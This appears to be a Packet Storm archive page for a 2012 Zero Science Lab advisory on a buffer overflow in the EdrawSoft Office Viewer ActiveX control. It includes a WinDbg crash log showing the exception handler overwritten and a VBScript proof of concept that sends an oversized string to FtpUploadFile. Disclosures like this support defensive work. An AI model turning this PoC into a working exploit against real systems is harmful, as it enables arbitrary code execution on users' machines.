exploit the possibilities

EdrawSoft Office Viewer Component ActiveX 5.6 Buffer Overflow

EdrawSoft Office Viewer Component ActiveX 5.6 Buffer Overflow
Posted Jan 31, 2012
Authored by LiquidWorm | Site zeroscience.mk

EdrawSoft Office Viewer Component ActiveX version 5.6.5781 suffers from a buffer overflow vulnerability when parsing large amount of bytes to the FtpUploadFile member in FtpUploadFile() function, resulting memory corruption overwriting several registers including the SEH. An attacker can gain access to the system of the affected node and execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
MD5 | e540c339e50eef4b81df0e87bc189135

EdrawSoft Office Viewer Component ActiveX 5.6 Buffer Overflow

Change Mirror Download

EdrawSoft Office Viewer Component ActiveX 5.6 (officeviewermme.ocx) BoF PoC


Vendor: EdrawSoft
Product web page: http://www.edrawsoft.com
Affected version: 5.6.5781

Summary: Edraw Office Viewer Component contains a standard ActiveX control
that acts as an ActiveX document container for hosting Office documents
(including Microsoft Word, Microsoft Excel, Microsoft PowerPoint, Microsoft
Project, and Microsoft Visio documents) in a custom form or Web page. The
control is lightweight and flexible, and gives developers new possibilities
for using Office in a custom solution.

Desc: The ActiveX suffers from a buffer overflow vulnerability when parsing
large amount of bytes to the FtpUploadFile member in FtpUploadFile() function,
resulting memory corruption overwriting severeal registers including the SEH.
An attacker can gain access to the system of the affected node and execute
arbitrary code.


Tested on Microsoft Windows XP Professional SP3 (EN)


-------------------------------------------------------------------------

(6c9c.6c70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00001015 ecx=000002a0 edx=001b2edc esi=0186e518 edi=01870000
eip=220324cc esp=0186c488 ebp=0186c490 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Mindjet\MindManager 10\officeviewermme.ocx -
officeviewermme!DllRegisterServer+0x23bbe:
220324cc 668907 mov word ptr [edi],ax ds:0023:01870000=????
0:004> !exchain
0186fa84: 00410041
Invalid exception stack at 00410041
0:004> d esi
0186e518 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e528 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e538 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e548 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e558 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e568 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e578 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186e588 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> d edx
001b2edc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2eec 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2efc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f0c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f1c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f2c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f3c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
001b2f4c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> d esp+3000
0186f488 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f498 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4e8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0186f4f8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:004> !load msec; !exploitable
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at officeviewermme!DllRegisterServer+0x0000000000023bbe (Hash=0x55146322.0x550a2c22)

User mode write access violations that are not near NULL are exploitable.

-------------------------------------------------------------------------


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2012-5069
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5069.php

Related ID: ZSL-2012-5068


25.01.2012

---


<object classid='clsid:F6FE8878-54D2-4333-B9F0-FC543B1BE1ED' id='ZSL' />
<script language='vbscript'>

targetFile = "C:\Program Files\Mindjet\MindManager 10\officeviewermme.ocx"
prototype = "Function FtpUploadFile ( ByVal LocalFile As String , ByVal RemoteFile As String ) As Boolean"
memberName = "FtpUploadFile"
progid = "OfficeViewer.OfficeViewer"
argCount = 2

arg1="defaultV"
arg2=String(4116, "A")

ZSL.FtpUploadFile arg1 ,arg2

</script>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close